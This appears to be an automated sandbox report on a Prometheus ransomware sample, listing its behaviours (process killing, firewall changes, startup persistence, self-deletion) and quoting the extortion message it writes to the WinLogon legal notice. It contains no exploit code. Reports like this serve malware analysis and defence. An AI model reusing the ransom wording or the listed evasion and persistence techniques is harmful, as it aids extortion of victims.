Malware Analysis Report

2024-10-19 06:17

Sample ID 210710-vnv5a8yp9s
Target 8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe
SHA256 8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7
Tags
prometheus evasion persistence ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7

Threat Level: Known bad

The file 8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe was found to be: Known bad.

Malicious Activity Summary

prometheus evasion persistence ransomware

Prometheus Ransomware

Downloads PsExec from SysInternals website

Modifies extensions of user files

Modifies Windows Firewall

Downloads MZ/PE file

Deletes itself

Drops startup file

Modifies WinLogon

Launches sc.exe

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

Runs ping.exe

System policy modification

Modifies registry key

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Kills process with taskkill

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-03-30 11:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-07-10 19:49

Reported

2021-07-10 19:55

Platform

win7v20210410

Max time kernel

38s

Max time network

36s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe"

Signatures

Prometheus Ransomware

ransomware prometheus

Downloads MZ/PE file

Downloads PsExec from SysInternals website

Description Indicator Process Target
HTTP URL http://live.sysinternals.com/PsExec64.exe N/A N/A

Modifies Windows Firewall

evasion

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\MergeUpdate.tiff C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Launches sc.exe

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\System32\mshta.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2020 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 1068 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
PID 2020 wrote to memory of 268 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\reg.exe
PID 2020 wrote to memory of 268 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\reg.exe
PID 2020 wrote to memory of 268 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\reg.exe
PID 2020 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\reg.exe
PID 2020 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\reg.exe
PID 2020 wrote to memory of 968 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\reg.exe
PID 2020 wrote to memory of 1156 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\schtasks.exe
PID 2020 wrote to memory of 1156 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\schtasks.exe
PID 2020 wrote to memory of 1156 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\schtasks.exe
PID 2020 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\netsh.exe
PID 2020 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\netsh.exe
PID 2020 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\netsh.exe
PID 2020 wrote to memory of 764 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 764 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 764 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 552 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1796 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1884 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1884 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1884 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 1364 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\sc.exe
PID 2020 wrote to memory of 804 N/A C:\Users\Admin\AppData\Local\Temp\8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe C:\Windows\system32\taskkill.exe
